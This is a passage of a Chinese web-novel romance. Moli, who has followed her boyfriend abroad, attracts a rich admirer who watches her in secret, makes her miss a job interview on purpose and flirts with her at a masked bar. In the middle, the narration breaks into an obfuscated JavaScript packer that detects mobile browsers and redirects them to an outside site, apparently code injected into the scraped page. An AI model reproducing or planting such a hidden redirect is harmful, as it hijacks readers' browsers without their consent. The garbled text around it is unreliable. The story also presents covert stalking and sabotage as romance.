后来的日子,许存一直送她各种玩意,茉莉迟钝,最后还是室友捅破了窗户纸她这才发觉到。 一天情人节,许存跟她告了白,她又羞又怯的同意,两个人都内敛,走着夜路连手都不敢牵。 一连谈了两年,进度也只在拥抱牵手,最多亲亲脸,这使得茉莉在寝室里都被舍友嘲笑。 许存要出国留学,茉莉本打算留在国内发展,连心仪企业的offer都收到了,但她不想异国,于是咬咬牙,决定放弃机会跟许存一起去Y国。 那天她故意跟许存说了谎,一个人坐着飞机带着一堆行李去了Y国的首都文德,落地直冲许存在的学校。 许存看到她,高兴地直抱着她转圈圈。 茉莉也开心,和许存牵着手文德的街上压马路,全是对未来的憧憬。 但憧憬归憧憬,终究都是要回归现实的。 因为毫无规划头脑一热就来了,茉莉的留学生活可以说是诸多不顺。 先是语言问题,英语还姑且能流利交谈,但她对于外语可以说是一窍不通,平日里没有许存就是个文盲。因为语言不通,兼职也很难应聘上。 她不想让许存担忧,即使生活紧巴也坚持不说,只能一边恶补语言一边找着兼职维系生活。 自打来了Y国后,她忙的不可开交,日渐消瘦,比起在国内瘦了整整五斤。 许存来到她的住所,看在眼底,心疼的不得了,摸着茉莉的脸说:“咱们休息休息好不好啊,你看,瘦的都快没有了。” 茉莉只笑,摇头在他怀里撒娇:“这样好啊,我就不会胖到你抱不动了,Y国的食物热量可高了。” 许存故作生气,敲了她个脑瓜崩:“你再胖我也能抱得动,怎么,看不起我?” “哪有!我最信你了!只是这里的饭菜还是吃不太惯。” “信我就多吃点,不行以后我每天下课来做给你吃吧,督促你。” “真的吗?”茉莉吃吃地笑,蹭了蹭许存,“那太好了。” “那奖励我个亲亲?”许存点了点唇角,坏心眼地勾唇。 茉莉刚要凑近,一声不合时宜的电话铃声响了起来。 她沮丧的撇嘴:“真是不看时机的电话。” 许存叹了口气,比了个噤声的手势,而后接通电话。 说了一阵,他挂断电话,有些失落道:“今天可能做不成了,我之前设计的那个项目有人看上了,说要合作,要我去洽谈一下。” “那不是件天大的好事吗,难过啥,给我开心起来!”茉莉扯着他的脸颊让他笑,眼露自豪,“我家小存出息啦,可以赚大钱养我吗?” “那自然。”许存宠溺地揉着她的头,“但得给我留一点哦,我还得攒老婆本呢。” “好的,那我送你过去吧?”还是想跟许存多待一会,茉莉找着借口,“我刚刚听见好像就在我语言补习班的附近,正好顺路去补习班上课。” 许存有些犹豫,但架不住茉莉的执着,最后还是点了头。 茉莉雀跃着起身,穿上外套,替许存围好围巾,但她依旧笨手笨脚的,围巾系的歪七扭八。 许存摇摇头,无奈地把围巾重新系了一遍:“好了,围巾每次都系不好。” “这不是不在我脖子上吗,肯定别扭些。”茉莉不服气地还嘴,穿上鞋子挽着许存一起出了屋子。 文德的天并不算很冷,但茉莉还是故意装成很冷的样子紧贴着许存,许存知道她的小心眼,故作不知的任由她的亲密。 这合作人定在了一个雅致的咖啡馆内,距离茉莉的语言补习班不远,一条街过了就能到。 依依不舍地站在门口与许存告别,茉莉拉着他的衣角,认真地看着他:“等项目谈成了,记得第一时间告诉我哦。” “知道了,会的。”许存应着,打开了咖啡馆的门,“路上小心,到了给我发消息。” 茉莉点点头,目送他进门,心里默默祈祷一切顺利。她转身走向补习班,嘴角挂着甜蜜的笑,步伐轻快,仿佛整个文德的阳光都为她而灿烂。 许存走进咖啡馆,环顾四周,最后在一处不易人打扰的角落看到了合作对象。 合作人恰时抬头,对他礼貌地招了招手:“这里。” 许存走过去,礼貌地伸手微笑道:“您好,我是许存。” 对方起身回握,温和笑道:“久仰大名。请坐,咱们详细聊聊合作细节。” 两人落座,咖啡香气氤氲,热气萦绕在空中。 许存解下围巾,叠好放于一旁,合作人不经意落目在他叠好的围巾上,“看起来这条围巾很幸运,有一个对他如此细心的主人。” 许存微笑回应:“因为是女朋友送的,照顾不好可是要挨骂的。” 对方轻笑,眼神中透出一丝羡慕:“真是幸福。” “是啊,有她在,总觉得一切都很温暖。” 两人相视而笑,气氛顿时轻松不少。许存打开笔记本,准备记录要点,对方也开始详细介绍合作规划和预期收益。 随着对方的话语,许存不时点头补充,笔记本上密密麻麻地记录着关键信息。两人讨论得愈发深入,合作的蓝图逐渐清晰。 聊得差不多了,许存合上笔记本,伸出手再次感谢:“实在是太感谢了,连那些我没注意到的地方都做了建设。” 对方回应:“互利共赢,期待我们的合作。” 两人握手言毕,许存展开围巾重新挂在脖子上。 “等下——”对方突然喊住。 “还有什么问题吗?” “你的围巾,是在哪买的?还挺别致。”他的目光落在围巾一端,那多精致的刺绣茉莉上。 许存笑道:“这是女朋友亲手绣的,独一无二呢。” 对方的目光闪过一分敏锐,随后道:“真是不错。” “你要是喜欢,我可以问问她能不能再绣一条。” “不必了,这样的心意还是留给在意的人比较好。”对方摆手拒绝,“我们下次再见。” 许存点头离开,原处,男人西装革履,双手交叠于下巴之下,目送着那远去的身影。 男人的思绪飘回多年前。 那可不是独一无二。 他曾也有一条一模一样的围巾。 - 来到补习班,茉莉如往常一样先将作业上交,然后准备上课。 现在她能进行一些简单的交流,但还是无法流利表达。 一节课终了,补习班里那个华侨老师走过来,问道:“茉莉,最近怎么样,工作找到了吗?” “姑且算是过得下去,找了家公司投了简历,让我明天 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面包店和酒馆因为离家很近,又不嫌弃她糟糕透顶的口语,一直对她格外关照,所以这两个工作目前是不能随便放弃的。 起码,得等自己彻底稳定后再辞职。 时间差不多了,她得回家准备准备,而后去酒馆上班了。 她换上制服,打开手机,手机里是许存合作成功的好消息。她暗自替许存高兴,心里一直在为自己鼓劲。 她可不能成了拖后腿的那个人,这次要是能通过面试,她就能彻底不依靠许存了。 那家公司听说是个华人收购的,本来是个濒临破产的小破公司,被他接手后竟直接活了起来,可以说是飞黄腾达,从Y国扩张到全球,到处都有他的产业,那总裁也一举成为了商界传奇。 而且这个总裁据说十分重视新鲜人才,对于刚入社会毫无工作经验的新人很通融,并不会跟别的企业一样那么重视经验而是一视同仁。许存的那个项目也是由这个公司看下并请求合作的。 最重要的还有周末双休,包午餐下午茶,简直不要太棒。因为这些,茉莉一直很向往这家公司。 走出家门,夜色渐浓,街灯下茉莉的影子拉得老长。 戴上面具,小酒馆里灯光昏黄,茉莉轻车熟路地穿过拥挤的人群,微笑着与熟客打招呼。 面具是小酒馆的特色,里面所有的工作人员和客人都需要带着面具,这样既能保护隐私,也增添了一份神秘感。 她端着酒水,穿梭在桌间,心中却想着明天的家教面试。 “茉莉,你过来一下。”店长喊着她的名字,招手要她过来。 店长是个中意混血的大叔,平时待人和善,茉莉之所以能待在这里就是因为他的关照。 她放下手里的酒水,擦擦手快走到店长面前,“怎么了?” 店长端给他一盘装的满满的托盘:“今晚有桌重要的客人,是老板的好朋友,一样是中国人,特别交代要好好招待,你今晚就负责为那一桌调酒吧。” 茉莉一开始是应聘服务员,但因为小酒馆调酒师急缺,她就临时顶上了这个职位,学了些简单的调酒技巧,最后还推出了一杯特色鸡尾酒,名为“夜色茉莉”。 “重要客人吗?可我要是搞砸了怎么办?”茉莉心中忐忑,毕竟自己就学了点皮毛,连专业都谈不上。 店长看出她的紧张,温和一笑:“放心,你的‘夜色茉莉’向来受欢迎,不会有问题的。而且,这天塌下来还有你的脸撑着呢,面具一摘,这么漂亮的姑娘谁忍心责骂呢。” 茉莉抿嘴一笑,店长虽然老不正经,经常调侃她,但心中的紧张的确缓解了不少。 她端着托盘走到小酒馆边角的卡座,掀开门帘,只见几位客人正谈笑风生。 她深吸一口气,微笑着上前,问候:“ciao,晚上好,各位。我是茉莉,今晚由我负责服务。” 客人抬头,其中一人露出友善的笑容:“你好,茉莉。” “嘿,茉莉花的茉莉吗?” “好一朵美丽的茉莉花~” 客人们你一句我一句地调侃着,气氛轻松,茉莉虽有些羞涩,但还是很快融入其中,将托盘稳稳放下,开始介绍今晚的特色酒水。 “特色鸡尾酒:‘夜色茉莉’,是本人独创的鸡尾酒。希望大家能喜欢。”她手法娴熟地调制,酒香四溢,客人们的目光被牢牢吸引。 调完酒,她掀开帘子退出了卡座。 呼,还好,没砸。 她低着头收拾着边上喝空了的酒瓶,却不巧挡住了另个人的路。 她实在太认真,直到听到一声轻咳才意识到自己蹲在过道中间,她连忙挪开,却又踢倒了几个瓶子,尴尬地道歉:“不好意……Midispiace.(抱歉)” 啊,又下意识地说成了中文。 对方戴着白色面具,西装笔挺,轻笑了一声,用中文回应:“没关系。” 那人替她收起了几个滚远的瓶子,放在旁边,径直走过,目光在她身上停留片刻,而后掀帘走入那个卡座。 看到那被收拾整齐的瓶子,茉莉内心微动,多看了一眼,抱着瓶子回了吧台,准备调酒需要的材料。 卡座内。 “哦,沈悸,来了啊。”有人看见他,招呼道:“这边坐。 “嗯。”那人面带白色面具,看不清表情,落座于众人之中。 “这小酒馆在哪找的,不错啊,都戴着面具,搞得怪神秘的。” “朋友开的。” 他的目光落在那淡紫色的酒水上。 “这是什么酒?” “‘夜色茉莉’,听说店里最近风靡正盛。你尝尝,真还不错,我以为一个女调酒师调不出什么名堂呢。” 他轻抿一口。 夜色茉莉? 果然与她有关的一切都不俗。 “那个调酒师叫什么名字?” “哦,她说她叫茉莉。” 男人的手顿住。 淡紫色的鸡尾酒只剩最后一口。 他却突然后悔为什么要喝掉那么多。 34. 调情 到了下班时候时,已经是凌晨两点多了。 那桌客人对她的特调非常满意,今天得到了额外的抽成和小费,甚至还让她多调了几杯。 茉莉收拾完最后的垃圾,拖着和她半人高的黑色塑料袋往外走。文德的夜很黑,垃圾袋的声音稀稀拉拉,虽然沉重,但她却觉得那是充实的开心。 她把垃圾按分类扔入垃圾桶,刚要转身离开,就听见一阵踉跄凌乱的脚步声。 心里的警惕一下子提了起来。这段治安虽说不算差,但不时也会有喝多了的酒鬼和流氓闲逛。她没碰过几次,因为每次出来扔垃圾时都会有同事陪同。 但今天正好碰上休息日高峰,又轮到自己扔垃圾,她总不可能硬要同事放下工作来陪自己。 她快步后退几步,却又听见一声碰撞的声音,随后便是男人沉闷的哼声,似乎是撞到了什么东西。 “啊……好痛……” 深到看不见的黑处,男人低声喃喃了一句,用的却是中文。 难道是那桌来自中国的客人?是喝多了吗?茉莉心想着,小心翼翼地询问着:“请问,你还好吗?” 那人显然是没想到有人会在此处,沉默片刻,他轻声笑了一下,“没事,就是被朋友劝酒喝的有些多。” “那你介意我过来扶你进去休息一下吗?”既然同为同胞,又是今晚的大客户,她还是想尽量照顾到的,“可以去吧台附近的卡座坐一下的,这样也可以稍微躲躲酒呢。” “可以吗?” “可以的,那我现在过来。”茉莉扶了扶面具,打开手电往里一步步走,看到了那个西装革履,面带白色面具的男人。 她眉心一动:“是你?” 竟然是那个替她收拾瓶子的人。 那人扶着墙,气息很粗,身上酒气很浓,一看就是喝了不少。他的脚边散了一地的垃圾,茉莉用脚简单把那些垃圾拨开,低声道了句:“冒犯一下。”然后架着那个男人的胳膊将他往外带。 “本来只是出来透透气,没想到会被小姐看到这么狼狈的模样,还真是麻烦你了。”男人略显尴尬地笑笑,“是不是很重?” “没事,之前我还扶过二百多斤的客人,肩膀可结实了。”其实并不是很重,男人看起来高大,不知道是他本身就很轻,还是有意没把重量全都压在她的身上。 扛着男人回到小酒馆,茉莉先是找了个无人的卡座将他安置好,然后回到吧台找了一袋子葡萄糖给了那个男人:“给,葡萄糖,醒酒的。” 男人朝她道谢,茉莉出了帘幕,没看他掀去面具的模样,这是这家酒馆员工必须遵守的守则,在一些戴全脸面具客人品酒时不可在场观看,得给足客人隐私感。 男人显然是不知道这条规则的,只是低低笑道:“我还在苦恼怎么让你先出去呢,毕竟本人长得有些难以言喻。” “没有,客人,即使不去看脸,我觉得光凭你的气质也能迷倒一群姑娘。” “哦?”那人尾调微扬,“那是什么样的气质?能迷到你吗?” “哈哈,如果我没有男朋友的话,应该会觉得你很高雅,很迷人,像是来自神秘东方的避世绅士,起码在文德这个遍地自称绅士的地方,你是绝对的翘楚。” Y国人经常会把玩笑开的暧昧,开始茉莉是不习惯的,后来住的久了,也就适应了这有时对于内敛东方人有些越界的小玩笑。 入乡随俗,她也学会了用些比较圆滑的措辞来表达自己名花有主,既能把话说开,又能防止对方尴尬。 “真是可惜,没能吸引到你这样善良的小姐。”那人夸张地叹了口气,又提到了茉莉的调酒,“那杯夜色茉莉是你的独创吗?” “是的。” “有什么故事吗?” 故事? 她便坦诚道:“其实没什么故事的,只是我白天和晚上的反差很大,想调一杯主题为反差的酒,加之我的名字与茉莉有关,于是就有了这杯夜色茉莉。” “可我觉得真的很不错。很有你的特色,酒味不重,还用了茉莉花茶做搭配,真的很特别。” “我学调酒完全是被赶鸭子上架,能被喜欢实在是太惶恐了。” 男人放下葡萄糖,“你说反差,我倒突然好奇你有多反差。” “这个嘛,嘘,是面具之下的秘密。”茉莉巧妙地用酒馆主题词来回复,男人忍不住笑:“你还真是有意思。” 茉莉看了眼时间,时间远超了下班时间,明天没有面包店的兼职,但她明天早上要去公司面试,结束后还得跟那家需要中文家教的人家联系。 一想到自己紧张的睡眠时间,她只能先跟男人打招呼:“不好意思,我得先下班了,我会跟同事多说一句让他们照顾你的。” 男人没有过多挽留,跟同事打点完毕后,茉莉卸下围裙从后门下班。 她没注意到,有一道视线正透过缝隙看着,追随着,像蓄势待发的猎手。 他薄唇紧抿,面上的面具卸下,露出一张清秀的脸。 乱掉的额发间,那道狰狞的伤疤变得黯淡。 手机屏幕亮着,上面是他编辑好,未发出的短信。 【我找到她了】 【找到,我的月亮了】 四个小时的睡眠还是太过紧张,次日清晨,茉莉差点就要睡过头。若不是许存给自己打了通电话说他今天没法来接她,她就彻底昏睡过去了。 她着急忙慌地洗漱,在路上等车时简单扑了个粉底遮盖黑眼圈,抹了个唇膏,紧赶慢赶最终还是没赶上那公司的面试。 手里拿着简介,茉莉苦着脸走在文德的大街上,哀声怨天,痛恨自己为什么没再定个早点的闹钟。 她连早饭都没吃,肚子里空空如也,刚才紧绷着神经没觉得饿,现在一下子放空,肚子饿的不得了。 文德的物价不算便宜,她掏掏口袋,却摸出了个洞出来。 打开口袋一看,外套口袋被人划了个洞,她甚至能透过洞看到地面。 糟糕,应该是在大巴上时遇到偷子了。 文德小偷多的要命,一个不留意就会发现东西少了,抢劫也是时有的事情,这里的警c又管不了那么多起案子,效率很低,有时候只能自认倒霉。 真是倒霉。茉莉忿忿地跺地。 没办法,那需要家教的人家还有些远,她只能徒步前往,便走边联系那家人。 有人在楼顶伫立,透过玻璃窗往下俯瞰,凝视着那道小小的身影。 他手里捏着一份简介,求职人名为茉莉,应聘岗位是翻译。简介很完美,国内双一流毕业,硕本连读,汉语言专业,男人来回翻看,问:“她为什么被筛了?” “她迟到了。”身边的秘书毕恭毕敬地回道。 迟到了?他想起昨晚她匆匆离去的背影,不自觉勾唇。 看来她说的没错,跟他有关的事情就会变得很糟糕。 他把简历往桌上一摔,旋即问道:“沈逸那小子的家教找到了吗?” “有几个来应聘了,只不过,沈总你说的那位并没有来。” “有说原因吗?” “没有。” 还真是像磁铁的正负两极,产生了互斥反应。 他思索片刻,说:“喊人去送送。” “好的,沈总。”秘书接收到信息,退出了办公室。 胡振收到消息时不禁愁眉苦脸。 昨晚在那个Maschera(面具)的时候他就在怀疑那个调酒师是不是茉莉,今儿看他大哥的反应,十拿十稳了。 自那件事情过去后,他家里的小产业受到巨大冲击,沈家在国内的企业也一蹶不振,但沈悸早留了后手,在国外过渡了一部分产业,这才没让沈家和他家彻底垮台。 沈悸算是彻底脱离了沈家老头,独自单干,重用人才,结果竟能把这濒临破产的公司经营的风生水起,于是他干脆跟家里人商量并入沈悸的产业,后来就跟着沈悸后面干了,也当了个小官。 不过这小官压根不是人当的,不说平时跑腿当司机的这些不属于他本职工作的事儿吧,现在连追回妹子都要他出面。 可他这张脸基本没咋变过啊,人一看不就出事了吗。他回身一指,随便找了个手下的文员,“你,就你,我记得你是混血,叫小陈是吧,有车没?” “我、我?”那男员工愣了愣,“有。” “下面这个看到没。”他揽着那员工往窗边走,“这是老板的妹子,懂我意思吧,你下去开车,她要去哪你就送去哪,油费我报销。” 小陈立马了然:“懂了懂了。”他刚走出去没两步,又回来,“但是……我用啥借口呢?” “额……”胡振还真没想到,“你就说公司福利,送面试员工回家,她不信你就出示工作证。” “好的。”小陈点头如捣蒜,心里暗自琢磨等下去哪里摸鱼。 报销油费还能摸鱼,嘻嘻。 他迅速启动车子,朝着茉莉的方向开去。 茉莉正捂空荡荡的肚子打着电话联系招聘方,电话接通,她忙说:“你好,我是应聘家教老师的,我叫茉莉。” 接通的人是个妇人,语气有些刻薄,听起来并不是很好沟通的样子。 但再介意也得先赚钱吃饱饭啊,她怕自己会晚些到,于是提前跟人家说了自己钱包被偷的事情,还好,那个妇人只是听起来刻薄,人还是好商量的。 她答应可以让茉莉迟到个半小时左右,要是再迟了可能就会考虑别人。 半小时已经很通融了,毕竟迟到的是自己,茉莉连忙应下,挂断了电话。 电话刚挂下,她注意到了那辆从她接听电话开始就一直慢速跟在身边的那辆车。 车窗缓缓摇下,一个棕发碧眼的男人对她打了声招呼:“ciao。” 文德这种人文开放的城市经常能碰见搭讪的,她理都没理,拉着衣服往前走。 小陈急了,踩了一脚油门上去,用中文说道:“你好小姐,我是风季集团的员工,是来送您的。” 听到风季集团的字眼,茉莉停了步子,“你有工作证吗?” 小陈立马把工作证呈上来:“我叫陈彬,我们公司很人性的,会送面试的人回家。” 茉莉扫了一眼,看起来像模像样的,而且风季集团本来就以人性化著名,应聘的人很多,但真的能到最后面试的人屈指可数,说送应聘人员也并不奇怪。 她现在的确需要这辆车的救场,于是思忖之下,她选择了上车信任一下这个看起来不着调的男人。 “去这里。”茉莉把地址给他看了眼,小陈比了个OK的手势,然后手在底下划拉着屏幕。 “胡总,接下来怎么办?” 胡振正在煮咖啡,一面加着糖和牛奶一面发消息: “沈哥,接下来怎么办?” 沈悸微微一瞥,回道: 问问去哪。 小陈只能照做,干巴地找着话茬:“小姐,你这住的地方还是在富人区啊?” “不是的,这是我兼职的地方。” “保姆吗?看你这年纪也不像是找这样工作的呀。” “是家教。” 胡振收到消息:“胡总,她说她去应聘家教。” “沈哥,人家说去当家教。” 沈悸看着手机屏幕,嗤笑了一声:拖时间,别让她去。 胡总:老板叫你拖时间,祝好。 小陈收到这个消息的时候,人都快石化了。 好家伙,特地挑个不高峰的时间段叫他绕路,这不是纯纯为难他吗? 奈何是顶头老板要求的,他只能一边找着借口,一边转入其他道路。 “怎么掉头了?” “啊……我记得前面好像在修路,你知道的,文德的路都是曾经用来行驶马车的,现在完全用不了,太堵了。” “哦,好,那我们现在走哪条路?” “我们额,对了,你吃饭了吗,正好中午了,我还没吃饭呢,可以走些小吃较多的路。”小陈不忘补充一句,“我请客,作为Y国的绅士,可不能让美丽的小姐出钱。” 这个提议确实戳中了茉莉的心,在着急赶路和着急填肚子的选择下,她摸了摸空荡荡的肚子,选了后者。 “好,那就吃点什么吧。” 沈悸的手机上收到一条短信:计划通,带着茉莉去吃饭了。 胡振接到了来自沈悸的电话,他刚调完他的特制超甜咖啡,美滋滋地靠在软椅上看文件,惬意地接通:“喂沈哥啊。” “谁让他带她去吃饭的?” “啊?” “一男一女坐在一桌?” 对面传来男人抑着怒意的低沉声音,胡振顿感不妙,立马坐直了身子:“这这这不是中午了,我这不是寻思她会饿吗?我叫小陈独自一桌咋样?” 对面算是平息了些怒焰:“随便买点,不许坐一桌。” “我真是救了你一命,老板不准你带她去餐厅,路边随便买点。” 小陈纳闷地看着消息,始终没懂为啥自己的小命不保。但他刚跟茉莉介绍完几家特色餐厅,正准备停车了,一下子要他反悔带妹子去吃路边摊……脸上咋都有点挂不住啊。 他为难地找补:“额……我发现我的钱好像没带够,路边买点可以不?” 茉莉才不管那么多,她只想吃饭,只要能吃啥都可以。 于是小陈在面包店买了几个可颂和法棍,又买了两杯咖啡,两人在车上啃了起来。 茉莉啃得很开心,小陈却只觉得自己当了回牛马。 能吃到晕碳的食堂吃不了,跑来啃干面包。 他得多报销点,一定! 啃完面包,小陈又驶动了车子。 茉莉看了眼手表,皱紧了眉:“可以快点吗,我有点赶。” “哦好的好的。”慢点慢点,再慢点。 小陈用着最低速在街道上行驶着,茉莉看着街景越发觉得不对:“这条路不说在修吗?” “哦,我忘了,是别的路,路长得大差不差,记错了。” 茉莉眨了眨眼,但她走过去已经完全来不及了,只能寄希望于小陈:“那快点吧,我真的很急。” “好的。你还剩多久?” “十五分钟。” 十五分钟啊,小陈一寻思,够了,等他到了十五分钟满当过。 十五分钟后,茉莉从车上下来,仓促地道了声谢谢就直往主人家赶。 小陈在车上发消息:可以了,胡总,时间拖满了。 胡振立马把消息转发给沈悸:沈哥,茉莉包赶不上了。 很好。沈悸收起手机,理了理领带,对秘书交代了一声:“帮我预定下Maschera的位置。” “好的,还要卡座吗?” “不,单人,记得不要用我的名字。”他微笑着,走进了会议室。 虽然一路狂奔,但茉莉还是没赶上约定的时间,那户人家选择了别人作为家教。 她只能苦巴巴地往家的方向走,还好这里离自己家并不远,否则她真的会崩溃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388253|165404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 出门一定是没看黄历,诸事不顺,倒霉透顶了。 手机响起,是许存发来的消息。 他先是说了自己今天的所遇,又简单谈了下和合作人的进展,最后关心起茉莉今天的两起面试。 许存看起来心情很好,茉莉不想把自己的负能量传播给他,于是说了谎,表示自己一切顺利,正在等待最后的通知。 手机关掉,她又要开始面对现实。 这家家教的面试是黄了,心仪公司也迟到没赶上,她还得重新再找。 她想起那家时薪很高的家教,距离虽然远,但是一份顶上她两份的时薪,还包住包吃,基本应聘上就什么都不愁。 可她转念一想,还是不想离开目前住的地方。 她目前住的地方是离许存学校最近、房租最划算的,虽然小,还稍有老旧,不时会漏水,但能离许存近,她便什么苦都能吃下。 算了,反正还有一家稍微近的,明天再看看还有哪些公司可以投简历吧。她拖着身子回家,随便找了个罐头充饥,换上酒馆的制服,戴上面具,踏上了去往酒馆兼职的路。 她今天是早班,十二点就可以回家,这样刚好能让她去做早上面包店的兼职,还有时间去找工作。 酒馆里面空无一人,她先把电闸打开,然后把椅子从桌面上放下来,重新擦了一遍桌面,做完这一切,她回到吧台里开始冲洗玻璃杯。 门铃声响起,有人推门进来。 茉莉看了一眼,昏暗的灯光下,她只能看到来人穿着白色衬衫。喜欢穿白衬衫的同事是有一个的,她以为是同事来了,叹了一气用外语说道:“来了正好,我想跟你说说今天有多倒霉。” 那人不语,只听着茉莉背对着他,边洗杯子边吐槽:“你知道吗,我今天起晚了,不仅公司面试没赶上,还被小偷偷了钱。下来时还以为转运了,那公司确实不错,还送应聘人员回家,可我还是没赶上家教的应聘,真是惨死了。” 听着她怨声载道,那人忍俊不禁:“那还真是可怜。” 与同事完全不同的声音,还用的是中文。 茉莉迅速转头,男人戴着熟悉的白色面具,一手支着脸,眼睛眨也不眨地看着她:“怎么不说了?” 完蛋了,怎么是客人!? 她惊乱地道歉:“不好意思不好意思,我认错人了,您当没听见就好!” 沈悸完全不在意:“没有,我挺乐意当你的听众的。” “那怎么行……我不能把情绪带到工作上的。”茉莉诚惶诚恐地捏紧了围裙,“这样,我给您送个酒吧,当我的赔罪。” 他玩味似的看着她,敲打着桌面上的酒水单,“这些你都会做吗?” 茉莉焉了:“……不会。” 她就会个夜色茉莉,其他啥也不会。 “那就来你的招牌吧。”他知道,也就是觉得挑逗她很好玩而已,“还有,我的年龄跟你差不多,就别用敬称了,听着感觉我怪老的。” 因为实在是紧张啊,万一一个投诉上去了,她的工作可就不保了。 茉莉干干地笑,开始准备调制夜色茉莉。 她的手法很生涩,一眼就能看出来是个业余的新手。但沈悸的目光却不在她的动作上,而落在她那紧身的制服上。 那件制服只是一个很普通的款式,短袖深红色的包臀裙,在Y国这样开放的城市并不算是什么,只是她的腰身很细,围裙一系上便显得她玲珑有致,深色的衣服又显得她更加白皙。 该有的地方有,该瘦的地方瘦,不时还摇晃着身形,勾的他心驰神往,嘴唇干涩,喉结不自觉的滚动。 真是个变/态的制服。他不禁想给开酒馆的那个人发消息,要他别再给她穿这样的衣服。 纤细的小手把酒盏推至面前:“好了。” 沈悸回过神来,视线落在那淡紫色的酒水上。 他突然想到什么,问:“你有没有想过,把这鸡尾酒再加一层风味?” 茉莉确实没想过,这个夜色茉莉已经是她的巅峰大乘之作了,她之前也想多开发些新的调酒,这样自己的抽成也能拿的多些,可惜出道即巅峰,后来调的酒基本都不能入口,试毒的同事们全都劝她别再继续了。 “怎么加?”能学就学,反正不能跟钱过不去。 沈悸拿出一个小盒子,从里面拿出了一根雪茄:“用这个。” “雪茄?”茉莉想到了一款叫“教父”的调酒,里面似乎就有用雪茄来调味的一个步骤。 沈悸拿出雪茄剪,在头端剪掉一小部分,又打开打火机,在一小簇蓝色的火焰中缓慢地转动雪茄。 他的动作极其优雅,骨节分明的手与身上卷着袖子的白衬衫相衬,显得像一个气质超脱的贵公子,茉莉不自觉地就出了神,视线也从他手里的雪茄变成了他脸上的面具。 面具完全覆盖住了他的脸,看不清他究竟是什么表情。 “你真的很迷人。”不自觉的,茉莉说出了这么一番话。沈悸动了动眼,她这才捂住嘴反应过来自己在说什么。 她真的只是单纯的欣赏,为防止客人多想,她补充道:“是夸赞,是欣赏,应该有很多Y国女孩喜欢你吧?” 真的只是单纯的欣赏,她很喜欢许存,并不会产生二心。 “这样啊……还真是可惜,要是不是单纯的欣赏就好了。”沈悸可惜地摇头。 “就像你说的,面具之下,是秘密。所以摘下的我不过也就是个普通人,并没有那么多人喜欢我,所以你这样说,我很高兴。”沈悸轻轻吹了一口气,让雪茄燃烧的更加充分。 他把雪茄递给茉莉:“试一下?” 茉莉连忙摆手:“我不会抽烟。” “不需要过肺,就在嘴里回味一下,作为调酒师姑且要知道一下这个雪茄是什么味道的才好改进吧?” 对方说的毫无问题,的确得先知道一下材料的味道。茉莉没再拒绝,嗅了嗅,呛人,不知道在嘴里是什么味。 她撩起头发,伸着脖子尝试着吸了一小口。 她不知道这样的动作有多迷人,锁骨曲线分明,连沟壑都能看到些许,不知名的洗发水香味轻轻飘了过来,黑发似挑逗一般地在他的手臂上挠了挠,痒,痒的他连心脏都颤了颤。 茉莉丝毫不知道自己在对方眼中变了味,在嘴里回了回,开始是有些苦的,像皮革的味道,后面又有些坚果、巧克力一般的香味,惊讶地回看沈悸:“好神奇的感觉。” 沈悸抑着□□,把一个空杯子递过去,又把夜色茉莉推去:“你试试熏一熏,看看是提前熏味道好,还是调完。” 茉莉点点头,接过雪茄开始操作起来。 两杯酒调完,雪茄也成了半截,茉莉自己试了试毒,果然有了不一样的风味,先前较甜的口感变得略苦,但有了更加醇厚的感觉。 她开心地鼓掌:“真的变了!你试试?” 她刚把杯子推过去,却对上一双玩味的眸子,男人哦了一声,有意地拉长尾调。 她突然想到一件事,她似乎直接喝了那两杯酒。 她干巴地笑:“我重新做好了。” 可那雪茄的寿命即将到头,那雪茄看着价值昂贵,她也不好舔着脸再去要一根。 只是,她手里一空—— 男人把面具掀起一个缝隙,慢慢地吸了一口烟。 烟雾在空中消散,他品着那支雪茄,薄唇微扬。 “我不介意的。” 他怎么会介意呢。 他求而不得。 35. 上钩 茉莉顿时红了脸:“你……这……” “所以说,还是多些防备比较好。”沈悸恢复好面具,熄灭了雪茄,“对于一个对你有好感的男人来说,他根本不介意。” 茉莉怔了怔,很快平静下来:“谢谢你的喜欢,只是我有男朋友了,他很爱我,我也很爱他。先生那么优秀,一定会碰到更好的女孩。” “很爱吗?”他嚼着字眼,嗤笑了一声,“你们在一起了多久?” “两年,快三年了。” “你觉得你们会结婚吗?” “不出意外的话,我想跟他走到最后。” “你觉得,是意外来得快,还是最后来的快?” “先生。”茉莉听着不舒服,“我感觉你有些轻蔑?” “是的。”他毫不犹豫的承认,“因为我不相信爱。” “为什么呢?” 他反问:“如果你活在一个没人爱你的世界,你会信吗?” “……”她默了默,“可你知道什么是没有爱的世界,所以,一定有人曾给你过爱。” “如果那个人又选择了抛弃呢?” “我不知道。我只知道,不尝试着去追逐,就一定会后悔。” 就像如今的她,为了许存放弃国内优越的条件追逐而来,虽然苦,但她觉得幸福。 想着和许存的点点滴滴,和存在于未来的幻想,她轻声说:“不试试怎么知道呢,万一有结果了呢,万一,是我想要的结局呢?” 不知道是说给自己听,还是几厘之距的男人听。 可沈悸听进去了。 他看着那个想箍在怀里,现却属于别人的少女。 “试试吗?”他像是确认,重复了一遍。 “嗯,试试。” 男人低笑了两声,翻出钱包摁在了桌上:“小费。” “等等,有些多了!” “当排解心情了。” 他插兜走了,一杯酒都没喝。 坐上车,他慢慢把面具摘掉。 前座的秘书问:“沈总,现在去哪?” “查尔斯,你相信爱吗?” 查尔斯不懂他话里的意思,只能回应:“我不懂您的意思。” “算了,跟你说也只会附和我。”沈悸靠坐在椅子上,眼睛始终不离酒馆里的身影,“说下近两天的行程。” “好的……”查尔斯依次说下来,随后说到了一个商会。 商会?他想了想,那商会他还恰好约了许存去现场。 想到茉莉刚才那么笃定的模样,他就嫉妒的发疯。 既然她那么坚信,那就让意外先来。 “帮我约见许存吧,安排下时间。” “好的。” “对了,你的钱包我拿走了,你直接找胡振要报销就行。” “……好的。” 门口的车子开走了,茉莉在吧台里抓着那满满当当的钱包,一时间不知道是收还是不收。 